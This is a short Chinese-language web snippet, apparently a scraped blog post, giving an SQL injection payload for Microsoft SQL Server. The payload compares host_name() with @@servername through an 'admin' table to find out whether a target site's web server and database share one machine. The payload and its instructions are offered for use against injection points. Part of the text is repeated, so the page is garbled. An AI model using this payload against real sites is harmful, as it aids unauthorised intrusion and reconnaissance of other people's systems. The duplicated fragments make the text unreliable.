and exists(select * from admin where 1=(SELECT (case when host_name()
=@@servername then 1 else 0 end)))
加在注入点后面,如果返回正常说明web和数据库是同一服务器,如果不正常责说明是分离的.
注意admin是数据库存在的一个表,自己找吧.
=@@servername then 1 else 0 end)))
加在注入点后面,如果返回正常说明web和数据库是同一服务器,如果不正常责说明是分离的.
注意admin是数据库存在的一个表,自己找吧.
本文探讨了如何通过特定SQL注入技术判断Web应用与数据库服务器是否在同一台机器上运行,利用`admin`表和复杂查询实现服务器身份验证。
2119

被折叠的 条评论
为什么被折叠?



